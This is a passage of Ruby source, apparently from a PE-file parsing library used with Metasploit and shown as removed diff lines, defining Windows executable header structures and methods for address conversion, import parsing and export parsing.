'uint16v', 'Magic', 0 ], - [ 'uint8', 'MajorLinkerVersion', 0 ], - [ 'uint8', 'MinorLinkerVersion', 0 ], - [ 'uint32v', 'SizeOfCode', 0 ], - [ 'uint32v', 'SizeOfInitializeData', 0 ], - [ 'uint32v', 'SizeOfUninitializeData', 0 ], - [ 'uint32v', 'AddressOfEntryPoint', 0 ], - [ 'uint32v', 'BaseOfCode', 0 ], - [ 'uint32v', 'BaseOfData', 0 ], - [ 'uint32v', 'ImageBase', 0 ], - [ 'uint32v', 'SectionAlignment', 0 ], - [ 'uint32v', 'FileAlignment', 0 ], - [ 'uint16v', 'MajorOperatingSystemVersion', 0 ], - [ 'uint16v', 'MinorOperatingSystemVersion', 0 ], - [ 'uint16v', 'MajorImageVersion', 0 ], - [ 'uint16v', 'MinorImageVersion', 0 ], - [ 'uint16v', 'MajorSubsystemVersion', 0 ], - [ 'uint16v', 'MinorSubsystemVersion', 0 ], - [ 'uint32v', 'Win32VersionValue', 0 ], - [ 'uint32v', 'SizeOfImage', 0 ], - [ 'uint32v', 'SizeOfHeaders', 0 ], - [ 'uint32v', 'CheckSum', 0 ], - [ 'uint16v', 'Subsystem', 0 ], - [ 'uint16v', 'DllCharacteristics', 0 ], - [ 'uint32v', 'SizeOfStackReserve', 0 ], - [ 'uint32v', 'SizeOfStackCommit', 0 ], - [ 'uint32v', 'SizeOfHeapReserve', 0 ], - [ 'uint32v', 'SizeOfHeapCommit', 0 ], - [ 'uint32v', 'LoaderFlags', 0 ], - [ 'uint32v', 'NumberOfRvaAndSizes', 0 ], - [ 'template', 'DataDirectory', Rex::Struct2::CStructTemplate.new( - [ 'template', 'DataDirectoryEntry_0', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_1', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_2', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_3', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_4', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_5', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_6', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_7', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_8', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_9', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_10', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_11', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_12', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_13', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_14', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_15', IMAGE_DATA_DIRECTORY ] - )] - ) - - # #define IMAGE_SIZEOF_NT_OPTIONAL64_HEADER 240 - IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b - # #define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b - IMAGE_SIZEOF_NT_OPTIONAL64_HEADER = 240 - - # Struct - # typedef struct _IMAGE_OPTIONAL_HEADER64 { - # USHORT Magic; - # UCHAR MajorLinkerVersion; - # UCHAR MinorLinkerVersion; - # ULONG SizeOfCode; - # ULONG SizeOfInitializedData; - # ULONG SizeOfUninitializedData; - # ULONG AddressOfEntryPoint; - # ULONG BaseOfCode; - # ULONGLONG ImageBase; - # ULONG SectionAlignment; - # ULONG FileAlignment; - # USHORT MajorOperatingSystemVersion; - # USHORT MinorOperatingSystemVersion; - # USHORT MajorImageVersion; - # USHORT MinorImageVersion; - # USHORT MajorSubsystemVersion; - # USHORT MinorSubsystemVersion; - # ULONG Win32VersionValue; - # ULONG SizeOfImage; - # ULONG SizeOfHeaders; - # ULONG CheckSum; - # USHORT Subsystem; - # USHORT DllCharacteristics; - # ULONGLONG SizeOfStackReserve; - # ULONGLONG SizeOfStackCommit; - # ULONGLONG SizeOfHeapReserve; - # ULONGLONG SizeOfHeapCommit; - # ULONG LoaderFlags; - # ULONG NumberOfRvaAndSizes; - # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; - # } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; - IMAGE_OPTIONAL_HEADER64 = Rex::Struct2::CStructTemplate.new( - [ 'uint16v', 'Magic', 0 ], - [ 'uint8', 'MajorLinkerVersion', 0 ], - [ 'uint8', 'MinorLinkerVersion', 0 ], - [ 'uint32v', 'SizeOfCode', 0 ], - [ 'uint32v', 'SizeOfInitializeData', 0 ], - [ 'uint32v', 'SizeOfUninitializeData', 0 ], - [ 'uint32v', 'AddressOfEntryPoint', 0 ], - [ 'uint32v', 'BaseOfCode', 0 ], - [ 'uint64v', 'ImageBase', 0 ], - [ 'uint32v', 'SectionAlignment', 0 ], - [ 'uint32v', 'FileAlignment', 0 ], - [ 'uint16v', 'MajorOperatingsystemVersion', 0 ], - [ 'uint16v', 'MinorOperatingsystemVersion', 0 ], - [ 'uint16v', 'MajorImageVersion', 0 ], - [ 'uint16v', 'MinorImageVersion', 0 ], - [ 'uint16v', 'MajorSubsystemVersion', 0 ], - [ 'uint16v', 'MinorSubsystemVersion', 0 ], - [ 'uint32v', 'Win32VersionValue', 0 ], - [ 'uint32v', 'SizeOfImage', 0 ], - [ 'uint32v', 'SizeOfHeaders', 0 ], - [ 'uint32v', 'CheckSum', 0 ], - [ 'uint16v', 'Subsystem', 0 ], - [ 'uint16v', 'DllCharacteristics', 0 ], - [ 'uint64v', 'SizeOfStackReserve', 0 ], - [ 'uint64v', 'SizeOfStackCommit', 0 ], - [ 'uint64v', 'SizeOfHeapReserve', 0 ], - [ 'uint64v', 'SizeOfHeapCommit', 0 ], - [ 'uint32v', 'LoaderFlags', 0 ], - [ 'uint32v', 'NumberOfRvaAndSizes', 0 ], - [ 'template', 'DataDirectory', Rex::Struct2::CStructTemplate.new( - [ 'template', 'DataDirectoryEntry_0', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_1', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_2', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_3', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_4', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_5', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_6', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_7', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_8', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_9', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_10', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_11', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_12', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_13', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_14', IMAGE_DATA_DIRECTORY ], - [ 'template', 'DataDirectoryEntry_15', IMAGE_DATA_DIRECTORY ] - )] - ) - - class OptionalHeader < GenericHeader - def ImageBase - v['ImageBase'] - end - def FileAlignment - v['FileAlignment'] - end - end - - class OptionalHeader32 < OptionalHeader - def initialize(rawdata) - optional_header = IMAGE_OPTIONAL_HEADER32.make_struct - - if !optional_header.from_s(rawdata) - raise OptionalHeaderError, "Couldn't parse IMAGE_OPTIONAL_HEADER32", caller - end - - if optional_header.v['Magic'] != IMAGE_NT_OPTIONAL_HDR32_MAGIC - raise OptionalHeaderError, "Magic did not match!", caller() - end - - self.struct = optional_header - end - end - - class OptionalHeader64 < OptionalHeader - def initialize(rawdata) - optional_header = IMAGE_OPTIONAL_HEADER64.make_struct - - if !optional_header.from_s(rawdata) - raise OptionalHeaderError, "Couldn't parse IMAGE_OPTIONAL_HEADER64", caller - end - - if optional_header.v['Magic'] != IMAGE_NT_OPTIONAL_HDR64_MAGIC - raise OptionalHeaderError, "Magic did not match!", caller() - end - - self.struct = optional_header - end - end - - def self._parse_optional_header(rawdata) - case rawdata.length - # no optional header - when 0 - return nil - - # good, good - when IMAGE_SIZEOF_NT_OPTIONAL32_HEADER - return OptionalHeader32.new(rawdata) - - when IMAGE_SIZEOF_NT_OPTIONAL64_HEADER - return OptionalHeader64.new(rawdata) - - # bad, bad - else - raise OptionalHeaderError, "I don't know this header size, #{rawdata.length}", caller - end - - end - - # #define IMAGE_SIZEOF_SECTION_HEADER 40 - IMAGE_SIZEOF_SECTION_HEADER = 40 - # Struct - # typedef struct _IMAGE_SECTION_HEADER { - # BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; - # union { - # DWORD PhysicalAddress; - # DWORD VirtualSize; - # } Misc; - # DWORD VirtualAddress; - # DWORD SizeOfRawData; - # DWORD PointerToRawData; - # DWORD PointerToRelocations; - # DWORD PointerToLinenumbers; - # WORD NumberOfRelocations; - # WORD NumberOfLinenumbers; - # DWORD Characteristics; - # } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; - IMAGE_SECTION_HEADER = Rex::Struct2::CStructTemplate.new( - [ 'string', 'Name', 8, '' ], - [ 'uint32v', 'Misc', 0 ], - [ 'uint32v', 'VirtualAddress', 0 ], - [ 'uint32v', 'SizeOfRawData', 0 ], - [ 'uint32v', 'PointerToRawData', 0 ], - [ 'uint32v', 'PointerToRelocations', 0 ], - [ 'uint32v', 'NumberOfRelocations', 0 ], - [ 'uint32v', 'NumberOfLineNumbers', 0 ], - [ 'uint32v', 'Characteristics', 0 ] - ) - - class SectionHeader < GenericHeader - def initialize(rawdata) - section_header = IMAGE_SECTION_HEADER.make_struct - - if !section_header.from_s(rawdata) - raise SectionHeaderError, "Could not parse header", caller - end - - self.struct = section_header - end - - def VirtualAddress - v['VirtualAddress'] - end - def SizeOfRawData - v['SizeOfRawData'] - end - def PointerToRawData - v['PointerToRawData'] - end - end - - def self._parse_section_headers(rawdata) - section_headers = [ ] - size = IMAGE_SIZEOF_SECTION_HEADER - numsections = rawdata.length / size - - numsections.times do |i| - data = rawdata[i * size, size] - section_headers << SectionHeader.new(data) - end - - return section_headers - end - - # #define IMAGE_SIZEOF_BASE_RELOCATION 8 - IMAGE_SIZEOF_BASE_RELOCATION = 8 - - # Struct - # typedef struct _IMAGE_BASE_RELOCATION { - # DWORD VirtualAddress; - # DWORD SizeOfBlock; - # // WORD TypeOffset[1]; - # } IMAGE_BASE_RELOCATION; - # typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION; - IMAGE_BASE_RELOCATION = Rex::Struct2::CStructTemplate.new( - [ 'uint32v', 'VirtualAddress', 0 ], - [ 'uint32v', 'SizeOfBlock', 0 ] - ) - IMAGE_BASE_RELOCATION_TYPE_OFFSET = Rex::Struct2::CStructTemplate.new( - [ 'uint16v', 'TypeOffset', 0 ] - ) - - class RelocationDirectory - attr_accessor :entries, :rva - - def initialize(rva, entries) - self.rva = rva - self.entries = entries - self.name = name - self.characteristics = chars - self.timedate = timedate - self.version = version - self.entries = [] - end - end - - class RelocationEntry - attr_accessor :rva, :reltype - - def initialize(_rva, _type) - self.rva = _rva - self.reltype = _type - end - end - - - class ResourceDirectory - attr_accessor :entries, :name - - def initialize(name, entries) - self.name = name - self.entries = entries - end - end - - class ResourceEntry - attr_accessor :path, :lang, :code, :rva, :size, :pe, :file - - def initialize(pe, path, lang, code, rva, size, file) - self.pe = pe - self.path = path - self.lang = lang - self.code = code - self.rva = rva - self.size = size - self.file = file.to_s - end - - def data - pe._isource.read(pe.rva_to_file_offset(rva), size) - end - end - - # Struct - # typedef struct { - # DWORD Size; - # DWORD TimeDateStamp; - # WORD MajorVersion; - # WORD MinorVersion; - # DWORD GlobalFlagsClear; - # DWORD GlobalFlagsSet; - # DWORD CriticalSectionDefaultTimeout; - # DWORD DeCommitFreeBlockThreshold; - # DWORD DeCommitTotalFreeThreshold; - # DWORD LockPrefixTable; // VA - # DWORD MaximumAllocationSize; - # DWORD VirtualMemoryThreshold; - # DWORD ProcessHeapFlags; - # DWORD ProcessAffinityMask; - # WORD CSDVersion; - # WORD Reserved1; - # DWORD EditList; // VA - # DWORD SecurityCookie; // VA - # DWORD SEHandlerTable; // VA - # DWORD SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY32, *PIMAGE_LOAD_CONFIG_DIRECTORY32; - # - IMAGE_LOAD_CONFIG_DIRECTORY32 = Rex::Struct2::CStructTemplate.new( - [ 'uint32v', 'Size', 0 ], - [ 'uint32v', 'TimeDateStamp', 0 ], - [ 'uint16v', 'MajorVersion', 0 ], - [ 'uint16v', 'MinorVersion', 0 ], - [ 'uint32v', 'GlobalFlagsClear', 0 ], - [ 'uint32v', 'GlobalFlagsSet', 0 ], - [ 'uint32v', 'CriticalSectionDefaultTimeout', 0 ], - [ 'uint32v', 'DeCommitFreeBlockThreshold', 0 ], - [ 'uint32v', 'DeCommitTotalFreeThreshold', 0 ], - [ 'uint32v', 'LockPrefixTable', 0 ], - [ 'uint32v', 'MaximumAllocationSize', 0 ], - [ 'uint32v', 'VirtualMemoryThreshold', 0 ], - [ 'uint32v', 'ProcessHeapFlags', 0 ], - [ 'uint32v', 'ProcessAffinityMask', 0 ], - [ 'uint16v', 'CSDVersion', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint32v', 'EditList', 0 ], - [ 'uint32v', 'SecurityCookie', 0 ], - [ 'uint32v', 'SEHandlerTable', 0 ], - [ 'uint32v', 'SEHandlerCount', 0 ] - ) - - # Struct - # typedef struct { - # ULONG Size; - # ULONG TimeDateStamp; - # USHORT MajorVersion; - # USHORT MinorVersion; - # ULONG GlobalFlagsClear; - # ULONG GlobalFlagsSet; - # ULONG CriticalSectionDefaultTimeout; - # ULONGLONG DeCommitFreeBlockThreshold; - # ULONGLONG DeCommitTotalFreeThreshold; - # ULONGLONG LockPrefixTable; // VA - # ULONGLONG MaximumAllocationSize; - # ULONGLONG VirtualMemoryThreshold; - # ULONGLONG ProcessAffinityMask; - # ULONG ProcessHeapFlags; - # USHORT CSDVersion; - # USHORT Reserved1; - # ULONGLONG EditList; // VA - # ULONGLONG SecurityCookie; // VA - # ULONGLONG SEHandlerTable; // VA - # ULONGLONG SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY64, *PIMAGE_LOAD_CONFIG_DIRECTORY64; - IMAGE_LOAD_CONFIG_DIRECTORY64 = Rex::Struct2::CStructTemplate.new( - [ 'uint32v', 'Size', 0 ], - [ 'uint32v', 'TimeDateStamp', 0 ], - [ 'uint16v', 'MajorVersion', 0 ], - [ 'uint16v', 'MinorVersion', 0 ], - [ 'uint32v', 'GlobalFlagsClear', 0 ], - [ 'uint32v', 'GlobalFlagsSet', 0 ], - [ 'uint32v', 'CriticalSectionDefaultTimeout', 0 ], - [ 'uint64v', 'DeCommitFreeBlockThreshold', 0 ], - [ 'uint64v', 'DeCommitTotalFreeThreshold', 0 ], - [ 'uint64v', 'LockPrefixTable', 0 ], - [ 'uint64v', 'MaximumAllocationSize', 0 ], - [ 'uint64v', 'VirtualMemoryThreshold', 0 ], - [ 'uint64v', 'ProcessAffinityMask', 0 ], - [ 'uint32v', 'ProcessHeapFlags', 0 ], - [ 'uint16v', 'CSDVersion', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint64v', 'EditList', 0 ], - [ 'uint64v', 'SecurityCookie', 0 ], - [ 'uint64v', 'SEHandlerTable', 0 ], - [ 'uint64v', 'SEHandlerCount', 0 ] - ) - - - class ConfigHeader < GenericHeader - - end - - #-- - # doesn't seem to be used -- not compatible with 64-bit - #def self._parse_config_header(rawdata) - # header = IMAGE_LOAD_CONFIG_DIRECTORY32.make_struct - # header.from_s(rawdata) - # ConfigHeader.new(header) - #end - #++ - - def _parse_config_header - - # - # Get the data directory entry, size, etc - # - exports_entry = _optional_header['DataDirectory'][IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG] - rva = exports_entry.v['VirtualAddress'] - size = exports_entry.v['Size'] - - return nil if size == 0 - - # - # Ok, so we have the data directory, now lets parse it - # - - dirdata = _isource.read(rva_to_file_offset(rva), size) - klass = (ptr_64?) ? IMAGE_LOAD_CONFIG_DIRECTORY64 : IMAGE_LOAD_CONFIG_DIRECTORY32 - header = klass.make_struct - - header.from_s(dirdata) - - @config = ConfigHeader.new(header) - end - - - def config - _parse_config_header if @config.nil? - @config - end - - # - # TLS Directory - # - - # Struct - # typedef struct { - # DWORD Size; - # DWORD TimeDateStamp; - # WORD MajorVersion; - # WORD MinorVersion; - # DWORD GlobalFlagsClear; - # DWORD GlobalFlagsSet; - # DWORD CriticalSectionDefaultTimeout; - # DWORD DeCommitFreeBlockThreshold; - # DWORD DeCommitTotalFreeThreshold; - # DWORD LockPrefixTable; // VA - # DWORD MaximumAllocationSize; - # DWORD VirtualMemoryThreshold; - # DWORD ProcessHeapFlags; - # DWORD ProcessAffinityMask; - # WORD CSDVersion; - # WORD Reserved1; - # DWORD EditList; // VA - # DWORD SecurityCookie; // VA - # DWORD SEHandlerTable; // VA - # DWORD SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY32, *PIMAGE_LOAD_CONFIG_DIRECTORY32; - IMAGE_LOAD_TLS_DIRECTORY32 = Rex::Struct2::CStructTemplate.new( - [ 'uint32v', 'Size', 0 ], - [ 'uint32v', 'TimeDateStamp', 0 ], - [ 'uint16v', 'MajorVersion', 0 ], - [ 'uint16v', 'MinorVersion', 0 ], - [ 'uint32v', 'GlobalFlagsClear', 0 ], - [ 'uint32v', 'GlobalFlagsSet', 0 ], - [ 'uint32v', 'CriticalSectionDefaultTimeout', 0 ], - [ 'uint32v', 'DeCommitFreeBlockThreshold', 0 ], - [ 'uint32v', 'DeCommitTotalFreeThreshold', 0 ], - [ 'uint32v', 'LockPrefixTable', 0 ], - [ 'uint32v', 'MaximumAllocationSize', 0 ], - [ 'uint32v', 'VirtualMemoryThreshold', 0 ], - [ 'uint32v', 'ProcessHeapFlags', 0 ], - [ 'uint32v', 'ProcessAffinityMask', 0 ], - [ 'uint16v', 'CSDVersion', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint32v', 'EditList', 0 ], - [ 'uint32v', 'SecurityCookie', 0 ], - [ 'uint32v', 'SEHandlerTable', 0 ], - [ 'uint32v', 'SEHandlerCount', 0 ] - ) - - # Struct - # typedef struct { - # ULONG Size; - # ULONG TimeDateStamp; - # USHORT MajorVersion; - # USHORT MinorVersion; - # ULONG GlobalFlagsClear; - # ULONG GlobalFlagsSet; - # ULONG CriticalSectionDefaultTimeout; - # ULONGLONG DeCommitFreeBlockThreshold; - # ULONGLONG DeCommitTotalFreeThreshold; - # ULONGLONG LockPrefixTable; // VA - # ULONGLONG MaximumAllocationSize; - # ULONGLONG VirtualMemoryThreshold; - # ULONGLONG ProcessAffinityMask; - # ULONG ProcessHeapFlags; - # USHORT CSDVersion; - # USHORT Reserved1; - # ULONGLONG EditList; // VA - # ULONGLONG SecurityCookie; // VA - # ULONGLONG SEHandlerTable; // VA - # ULONGLONG SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY64, *PIMAGE_LOAD_CONFIG_DIRECTORY64; - IMAGE_LOAD_TLS_DIRECTORY64 = Rex::Struct2::CStructTemplate.new( - [ 'uint32v', 'Size', 0 ], - [ 'uint32v', 'TimeDateStamp', 0 ], - [ 'uint16v', 'MajorVersion', 0 ], - [ 'uint16v', 'MinorVersion', 0 ], - [ 'uint32v', 'GlobalFlagsClear', 0 ], - [ 'uint32v', 'GlobalFlagsSet', 0 ], - [ 'uint32v', 'CriticalSectionDefaultTimeout', 0 ], - [ 'uint64v', 'DeCommitFreeBlockThreshold', 0 ], - [ 'uint64v', 'DeCommitTotalFreeThreshold', 0 ], - [ 'uint64v', 'LockPrefixTable', 0 ], - [ 'uint64v', 'MaximumAllocationSize', 0 ], - [ 'uint64v', 'VirtualMemoryThreshold', 0 ], - [ 'uint64v', 'ProcessAffinityMask', 0 ], - [ 'uint32v', 'ProcessHeapFlags', 0 ], - [ 'uint16v', 'CSDVersion', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint64v', 'EditList', 0 ], - [ 'uint64v', 'SecurityCookie', 0 ], - [ 'uint64v', 'SEHandlerTable', 0 ], - [ 'uint64v', 'SEHandlerCount', 0 ] - ) - - - class TLSHeader < GenericHeader - - end - - def _parse_tls_header - - # - # Get the data directory entry, size, etc - # - exports_entry = _optional_header['DataDirectory'][IMAGE_DIRECTORY_ENTRY_TLS] - rva = exports_entry.v['VirtualAddress'] - size = exports_entry.v['Size'] - - return nil if size == 0 - - # - # Ok, so we have the data directory, now lets parse it - # - - dirdata = _isource.read(rva_to_file_offset(rva), size) - klass = (ptr_64?) ? IMAGE_LOAD_TLS_DIRECTORY64 : IMAGE_LOAD_TLS_DIRECTORY32 - header = klass.make_struct - - header.from_s(dirdata) - - @tls = TLSHeader.new(header) - end - - - def tls - _parse_config_header if @tls.nil? - @tls - end - - ## - # - # Exception directory - # - ## - - IMAGE_RUNTIME_FUNCTION_ENTRY_SZ = 12 - # Struct - # typedef struct _IMAGE_RUNTIME_FUNCTION_ENTRY { - # DWORD BeginAddress; - # DWORD EndAddress; - # DWORD UnwindInfoAddress; - # } _IMAGE_RUNTIME_FUNCTION_ENTRY, *_PIMAGE_RUNTIME_FUNCTION_ENTRY; - IMAGE_RUNTIME_FUNCTION_ENTRY = Rex::Struct2::CStructTemplate.new( - [ 'uint32v', 'BeginAddress', 0 ], - [ 'uint32v', 'EndAddress', 0 ], - [ 'uint32v', 'UnwindInfoAddress', 0 ] - ) - - UNWIND_INFO_HEADER_SZ = 4 - UNWIND_INFO_HEADER = Rex::Struct2::CStructTemplate.new( - [ 'uint8', 'VersionFlags', 0 ], - [ 'uint8', 'SizeOfProlog', 0 ], - [ 'uint8', 'CountOfCodes', 0 ], - [ 'uint8', 'FrameRegisterAndOffset', 0 ] - ) - - UWOP_PUSH_NONVOL = 0 # 1 node - UWOP_ALLOC_LARGE = 1 # 2 or 3 nodes - UWOP_ALLOC_SMALL = 2 # 1 node - UWOP_SET_FPREG = 3 # 1 node - UWOP_SAVE_NONVOL = 4 # 2 nodes - UWOP_SAVE_NONVOL_FAR = 5 # 3 nodes - UWOP_SAVE_XMM128 = 8 # 2 nodes - UWOP_SAVE_XMM128_FAR = 9 # 3 nodes - UWOP_PUSH_MACHFRAME = 10 # 1 node - - UNW_FLAG_EHANDLER = 1 - UNW_FLAG_UHANDLER = 2 - UNW_FLAG_CHAININFO = 4 - - class UnwindCode - def initialize(data) - - self.code_offset = data[0].to_i - self.unwind_op = data[1].to_i & 0xf - self.op_info = data[1].to_i >> 4 - self.frame_offset = data[2..3].unpack("v")[0] - - data.slice!(0, 4) - end - - attr_reader :code_offset, :unwind_op, :op_info, :frame_offset - attr_writer :code_offset, :unwind_op, :op_info, :frame_offset - - end - - class UnwindInfo - def initialize(pe, unwind_rva) - data = pe.read_rva(unwind_rva, UNWIND_INFO_HEADER_SZ) - - unwind = UNWIND_INFO_HEADER.make_struct - unwind.from_s(data) - - @version = unwind.v['VersionFlags'] & 0x7 - @flags = unwind.v['VersionFlags'] >> 3 - @size_of_prolog = unwind.v['SizeOfProlog'] - @count_of_codes = unwind.v['CountOfCodes'] - @frame_register = unwind.v['FrameRegisterAndOffset'] & 0xf - @frame_register_offset = unwind.v['FrameRegisterAndOffset'] >> 4 - - # Parse unwind codes - clist = pe.read_rva(unwind_rva + UNWIND_INFO_HEADER_SZ, count_of_codes * 4) - - @unwind_codes = [] - - while clist.length > 0 - @unwind_codes << UnwindCode.new(clist) - end - end - - attr_reader :version, :flags, :size_of_prolog, :count_of_codes - attr_reader :frame_register, :frame_register_offset - - def unwind_codes - @unwind_codes - end - - end - - class RuntimeFunctionEntry - - def initialize(pe, data) - @pe = pe - @begin_address, @end_address, @unwind_info_address = data.unpack("VVV"); - self.unwind_info = UnwindInfo.new(pe, unwind_info_address) - end - - attr_reader :begin_address, :end_address, :unwind_info_address - attr_reader :unwind_info - attr_writer :unwind_info - - end - - def _load_exception_directory - @exception = [] - - exception_entry = _optional_header['DataDirectory'][IMAGE_DIRECTORY_ENTRY_EXCEPTION] - rva = exception_entry.v['VirtualAddress'] - size = exception_entry.v['Size'] - - return if (rva == 0) - - data = _isource.read(rva_to_file_offset(rva), size) - - case hdr.file.Machine - when IMAGE_FILE_MACHINE_AMD64 - count = data.length / IMAGE_RUNTIME_FUNCTION_ENTRY_SZ - - count.times { |current| - @exception << RuntimeFunctionEntry.new(self, - data.slice!(0, IMAGE_RUNTIME_FUNCTION_ENTRY_SZ)) - } - else - end - - return @exception - end - - - def exception - _load_exception_directory if @exception.nil? - @exception - end - - # - # Just a stupid routine to round an offset up to it's alignment. - # - # For example, you're going to want this for FileAlignment and - # SectionAlignment, etc... - # - def self._align_offset(offset, alignment) - offset += alignment - 1 - offset -= offset % alignment - return offset - end - - # - # instance stuff - # - - attr_accessor :_isource - attr_accessor :_dos_header, :_file_header, :_optional_header, - :_section_headers, :_config_header, :_tls_header, :_exception_header - - attr_accessor :sections, :header_section, :image_base - - attr_accessor :_imports_cache, :_imports_cached - attr_accessor :_exports_cache, :_exports_cached - attr_accessor :_relocations_cache, :_relocations_cached - attr_accessor :_resources_cache, :_resources_cached - - attr_accessor :hdr - - def self.new_from_file(filename, disk_backed = false) - - file = ::File.new(filename) - file.binmode # windows... :\ - - if disk_backed - return self.new(ImageSource::Disk.new(file)) - else - obj = new_from_string(file.read) - file.close - return obj - end - end - - def self.new_from_string(data) - return self.new(ImageSource::Memory.new(data)) - end - - def close - _isource.close - end - - # - # - # Random rva, vma, file offset, section offset, etc - # conversion routines... - # - # - def rva_to_vma(rva) - return rva + image_base - end - - def vma_to_rva(vma) - return vma - image_base - end - - def rva_to_file_offset(rva) - all_sections.each do |section| - if section.contains_rva?(rva) - return section.rva_to_file_offset(rva) - end - end - raise PeParseyError, "No section contains RVA", caller - end - - def vma_to_file_offset(vma) - return rva_to_file_offset(vma_to_rva(vma)) - end - - def file_offset_to_rva(foffset) - if foffset < 0 - raise PeParseyError, "Offset should not be less than 0. The value is: #{foffset}", caller - end - - all_sections.each do |section| - if section.contains_file_offset?(foffset) - return section.file_offset_to_rva(foffset) - end - end - - raise PeParseyError, "No section contains file offset #{foffset}", caller - end - - def file_offset_to_vma(foffset) - return rva_to_vma(file_offset_to_rva(foffset)) - end - - # - # - # Some routines to find which section something belongs - # to. These will search all_sections (so including - # our fake header section, etc... - # - # - - # - # Find a section by an RVA - # - def _find_section_by_rva(rva) - all_sections.each do |section| - if section.contains_rva?(rva) - return section - end - end - - return nil - end - def find_section_by_rva(rva) - section = _find_section_by_rva(rva) - - if !section - raise PeParseyError, "Cannot find rva! #{rva}", caller - end - - return section - end - - # - # Find a section by a VMA - # - def find_section_by_vma(vma) - return find_section_by_rva(vma_to_rva(vma)) - end - - def valid_rva?(rva) - _find_section_by_rva(rva) != nil - end - def valid_vma?(vma) - _find_section_by_rva(vma_to_rva(vma)) != nil - end - - # - # - # Some convenient methods to read a vma/rva without having - # the section... (inefficent though I suppose...) - # - # - - def read_rva(rva, length) - return find_section_by_rva(rva).read_rva(rva, length) - end - - def read_vma(vma, length) - return read_rva(vma_to_rva(vma), length) - end - - def read_asciiz_rva(rva) - return find_section_by_rva(rva).read_asciiz_rva(rva) - end - - def read_asciiz_vma(vma) - return read_asciiz_rva(vma_to_rva(vma)) - end - - # - # - # Imports, exports, and other stuff! - # - # - - # - # We lazily parse the imports, and then cache it - # - def imports - if !_imports_cached - self._imports_cache = _load_imports - self._imports_cached = true - end - return _imports_cache - end - - def _load_imports - # - # Get the data directory entry, size, etc - # - imports_entry = _optional_header['DataDirectory'][1] - rva = imports_entry.v['VirtualAddress'] - size = imports_entry.v['Size'] - - return nil if size == 0 - - # - # Ok, so we have the data directory, now lets parse it - # - - imports = [ ] - - descriptors_data = _isource.read(rva_to_file_offset(rva), size) - - while descriptors_data.length >= IMAGE_IMPORT_DESCRIPTOR_SIZE - descriptor = IMAGE_IMPORT_DESCRIPTOR.make_struct - descriptor.from_s(descriptors_data) - descriptors_data = descriptor.leftover - - othunk = descriptor.v['OriginalFirstThunk'] - fthunk = descriptor.v['FirstThunk'] - - break if fthunk == 0 - - dllname = _isource.read_asciiz(rva_to_file_offset(descriptor.v['Name'])) - - import = ImportDescriptor.new(dllname, [ ]) - - # we prefer the Characteristics/OriginalFirstThunk... - thunk_off = rva_to_file_offset(othunk == 0 ? fthunk : othunk) - - while (orgrva = _isource.read(thunk_off, 4).unpack('V')[0]) != 0 - hint = nil - name = nil - - if (orgrva & IMAGE_ORDINAL_FLAG32) != 0 - hint = orgrva & 0xffff - else - foff = rva_to_file_offset(orgrva) - hint = _isource.read(foff, 2).unpack('v')[0] - name = _isource.read_asciiz(foff + 2) - end - - import.entries << ImportEntry.new(name, hint) - - thunk_off += 4 - end - - imports << import - end - - return imports - end - - - - # - # We lazily parse the exports, and then cache it - # - def exports - if !_exports_cached - self._exports_cache = _load_exports - self._exports_cached = true - end - return _exports_cache - end - - def _load_exports - - # - # Get the data directory entry, size, etc - # - exports_entry = _optional_header['DataDirectory'][0] - rva = exports_entry.v['VirtualAddress'] - size = exports_entry.v['Size'] - - return nil if size == 0 - - # - # Ok, so 